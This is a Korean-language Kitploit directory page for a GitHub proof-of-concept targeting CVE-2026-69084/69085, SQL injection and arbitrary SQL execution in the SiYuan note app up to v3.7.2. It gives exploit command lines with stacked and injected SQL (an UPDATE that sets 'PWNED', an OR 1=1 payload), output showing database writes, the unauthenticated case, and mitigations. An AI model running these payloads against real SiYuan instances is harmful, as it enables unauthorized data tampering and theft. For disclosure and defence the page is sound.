Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — searchEmbedBlock + searchDocs SQLi를 통한 SiYuan 임의 SQL 실행 (CVSS 9.9). v3.7.2에서 검증됨, v3.7.3에서 거부됨. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-69084-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — searchEmbedBlock + searchDocs SQLi를 통한 SiYuan 임의 SQL 실행 (CVSS 9.9). v3.7.2에서 검증됨, v3.7.3에서 거부됨.

저장소 보기
1121개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-69084 / CVE-2026-69085 — SiYuan 임의 SQL 실행 및 SQLi

CVE-2026-69084: /api/search/searchEmbedBlock을 통한 임의 SQL 실행 CVE-2026-69085: /api/filetree/searchDocs를 통한 SQL 인젝션 CVSS 9.9 (치명적) 각각 · CWE-89 · SiYuan <= v3.7.2 (v3.7.3에서 수정됨) 2026-08-03 게시 · 게시 시점에 공개 PoC 없음

TL;DR

SiYuan(오픈소스 노트 필기 앱, github.com/siyuan-note/siyuan)은 공격자가 제어하는 SQL을 SQLite 데이터베이스로 전달하는 두 개의 API 엔드포인트를 노출합니다:

CVE-2026-69084 — /api/search/searchEmbedBlock: stmt 파라미터가 단일 문장 또는 읽기 전용 제한 없이 메인 읽기-쓰기 siyuan.db 핸들에 그대로 전달됩니다. SQLite 드라이버는 스택된(세미콜론으로 구분된) 문장을 실행하므로, 공격자는 데이터베이스의 모든 것을 CREATE / INSERT / UPDATE / DELETE / DROP할 수 있습니다. CheckAuth로만 보호됩니다 — publish RoleReader 토큰으로 접근 가능하거나, publish 모드에서 Publish.Auth.Enable=false인 경우 익명으로 접근 가능합니다.

CVE-2026-69085 — /api/filetree/searchDocs: keyword 파라미터가 이스케이프나 파라미터 바인딩 없이 SQL에 직접 연결됩니다.

둘 다 v3.7.3에서 sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox()를 통해 수정되었습니다.

익스플로잇

# 1. 비파괴적 프로브 (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. DB 쓰기 증명: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. 임의 SQL 실행 (스택된 문장 지원)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

인스턴스가 publish 모드가 활성화되고 인증이 비활성화된 상태로 실행되는 경우 (Publish.Auth.Enable=false), --auth가 전혀 필요하지 않습니다.

검증 (Docker의 실제 SiYuan v3.7.2)

$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db

# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

패치된 v3.7.3은 동일한 요청을 거부합니다:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • 단일 SELECT는 여전히 작동합니다 (정상 기능 유지)

PoC 내부 구조

Python PoC는 세션 로그인(/api/system/loginAuth)을 수행하여 인증 쿠키를 얻은 다음, 취약한 엔드포인트에 POST합니다. b3log/siyuan:v3.7.2(취약) 및 b3log/siyuan:v3.7.3(패치)에 대해 테스트되었습니다.

완화 방안

  • SiYuan을 v3.7.3 이상으로 업그레이드하세요.
  • SiYuan의 publish 모드를 노출하는 경우, Publish.Auth.Enable=true를 유지하고 강력한 RoleReader 토큰을 사용하세요.

참고 자료

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • VulnCheck advisory

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요.

도구 다운로드